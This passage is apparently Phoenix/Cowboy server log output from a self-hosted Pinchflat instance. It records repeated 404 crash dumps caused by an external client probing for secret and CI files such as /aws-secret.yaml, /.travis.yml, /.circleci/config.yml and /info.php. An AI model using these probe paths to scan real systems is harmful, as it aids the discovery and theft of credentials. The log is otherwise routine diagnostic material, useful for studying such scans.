~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-secret.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50294}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-secret (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-secret.yaml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50294}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3498.0>, params: %{}, path_info: ["aws-secret"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50" (truncated) 21:08:46.696 [error] #PID<0.3499.0> running PinchflatWeb.Endpoint (connection #PID<0.3497.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.travis.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.travis (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3497.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.travis.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50296}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3499.0>, params: %{}, path_info: [".travis"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.travis.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5CjGexOe-AAAAaE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3497.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.travis.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50296}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.travis (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3497.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.travis.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50296}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3499.0>, params: %{}, path_info: [".travis"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.travis.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5CjGexOe-AAAAaE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, (truncated) 21:08:46.770 [info] GET /.circleci/config.yml 21:08:46.771 [debug] QUERY OK source="settings" db=0.1ms idle=91.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.771 [debug] QUERY OK source="settings" db=0.1ms idle=76.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.771 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.771 [error] #PID<0.3501.0> running PinchflatWeb.Endpoint (connection #PID<0.3500.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.circleci/config.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.circleci/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.circleci/config.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50308}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3501.0>, params: %{}, path_info: [".circleci", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.circleci/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5U1rMTTU7IAARuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.circleci/config.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50308}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.circleci/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.circleci/config.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50308}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3501.0>, params: %{}, path_info: [".circleci", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.circleci/config.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5U1rMTTU7IAARuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb (truncated) 21:08:46.803 [info] GET /.bitbucket/pipelines.yml 21:08:46.804 [debug] QUERY OK source="settings" db=0.2ms idle=108.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.805 [debug] QUERY OK source="settings" db=0.2ms idle=108.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.805 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.805 [error] #PID<0.3503.0> running PinchflatWeb.Endpoint (connection #PID<0.3502.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /.bitbucket/pipelines.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.bitbucket/pipelines (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.bitbucket/pipelines.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50314}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3503.0>, params: %{}, path_info: [".bitbucket", "pipelines"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/.bitbucket/pipelines.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5cwr6ztSFkAARwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.bitbucket/pipelines.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50314}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.bitbucket/pipelines (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.bitbucket/pipelines.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50314}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3503.0>, params: %{}, path_info: [".bitbucket", "pipelines"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, li (truncated) 21:08:46.843 [info] GET /info.php 21:08:46.844 [debug] QUERY OK source="settings" db=0.5ms idle=148.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.845 [debug] QUERY OK source="settings" db=0.1ms idle=74.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:46.845 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:46.845 [error] #PID<0.3505.0> running PinchflatWeb.Endpoint (connection #PID<0.3504.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50322}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3505.0>, params: %{}, path_info: ["info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-5mRueJNJYsAARyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/info.php", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50322}, bindings: %{}, sock: {{192, 168, 0, 